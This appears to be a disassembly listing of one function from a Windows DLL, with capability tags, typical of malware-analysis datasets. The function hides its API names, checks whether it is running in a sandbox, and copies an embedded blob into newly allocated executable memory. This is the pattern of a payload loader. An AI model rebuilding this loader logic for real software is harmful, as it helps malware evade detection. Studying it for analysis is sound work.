Function at 0x10003360
Capabilities:
Get number of processors
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x10056d5b
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x10072650]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10072650]
xor eax, esp
push eax
lea eax, [esp + 0x9c]
mov dword fs:[0], eax
push 7
xor ebx, ebx
mov esi, 0xf
push str.Virtual
lea ecx, [esp + 0x54]
mov dword [esp + 0x6c], esi
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
call fcn.10003b20
mov dword [esp + 0xa4], ebx
push 0xb
push str.AllocExNuma
lea ecx, [esp + 0x1c]
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.10003b20
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x38]
push edx
mov byte [esp + 0xb0], 1
call fcn.10003e70
add esp, 0xc
push str.whoami.exe
mov byte [esp + 0xa8], 2
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
jne 0x10003430
push ebx
push ebx
push 0x100624cc
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xfff4518a
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x65
mov word [esp + 0x7e], ax
mov word [esp + 0x84], ax
mov eax, 0x6c
mov word [esp + 0x86], ax
mov ecx, 0x64
mov word [esp + 0x90], ax
mov word [esp + 0x92], ax
mov word [esp + 0x6e], ax
mov word [esp + 0x70], ax
mov word [esp + 0x76], ax
mov word [esp + 0x78], ax
mov edx, 0x2e
lea eax, [esp + 0x7c]
mov esi, 0x6e
push eax
mov dword [0x1009748c], ebx
mov dword [0x10097490], ebx
mov dword [0x10097494], ebx
mov dword [0x10097498], ebx
mov dword [0x1009749c], ebx
mov word [esp + 0x80], 0x6b
mov word [esp + 0x84], 0x72
mov word [esp + 0x86], si
mov word [esp + 0x8c], 0x33
mov word [esp + 0x8e], 0x32
mov word [esp + 0x90], dx
mov word [esp + 0x92], cx
mov word [esp + 0x98], bx
mov word [esp + 0x6c], si
mov word [esp + 0x6e], 0x74
mov word [esp + 0x70], cx
mov word [esp + 0x76], dx
mov word [esp + 0x78], cx
mov word [esp + 0x7e], bx
call fcn.100031d0
lea ecx, [esp + 0x6c]
push ecx
mov dword [0x1009a2c4], eax
call fcn.100031d0
mov esi, dword [0x1009a2c4]
push 0x10062460
mov dword [0x1009a2c8], eax
call fcn.10002820
mov ebp, eax
mov eax, dword [esp + 0x40]
add esp, 0xc
cmp dword [esp + 0x48], 0x10
mov dword [0x1009a1b8], ebp
jae 0x10003550
lea eax, [esp + 0x34]
push eax
call fcn.10002820
mov edi, eax
push str.WriteProcessMemory
mov dword [0x1009a1bc], edi
call fcn.10002820
add esp, 8
cmp edi, ebx
mov dword [0x1009a1c0], eax
je 0x10003588
push ebx
push 0x40
push 0x3000
push 0x23800
push ebx
push 0xffffffffffffffff
call edi
jmp 0x10003597
push 0x40
push 0x3000
push 0x23800
push ebx
call ebp
push ebx
push 0x23800
push 0x10073c28
mov esi, eax
push esi
push 0xffffffffffffffff
call dword [0x1009a1c0]
push 0x628f
call fcn.1003a230
mov edi, eax
push edi
call fcn.10002d70
push esi
push edi
call fcn.10002fb0
add esp, 0x10
mov eax, esi
call fcn.100028f0
mov esi, 0x10
mov byte [esp + 0xa4], 1
cmp dword [esp + 0x48], esi
mov dword [0x1009a2cc], eax
jb 0x100035f5
mov edx, dword [esp + 0x34]
push edx
call fcn.10007788
add esp, 4
mov edi, 0xf
mov byte [esp + 0xa4], bl
cmp dword [esp + 0x2c], esi
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
jb 0x10003620
mov eax, dword [esp + 0x18]
push eax
call fcn.10007788
add esp, 4
mov dword [esp + 0xa4], 0xffffffff
cmp dword [esp + 0x64], esi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
jb 0x1000364a
mov ecx, dword [esp + 0x50]
push ecx
call fcn.10007788
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x9c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.10039f21
add esp, 0x94
ret 0xc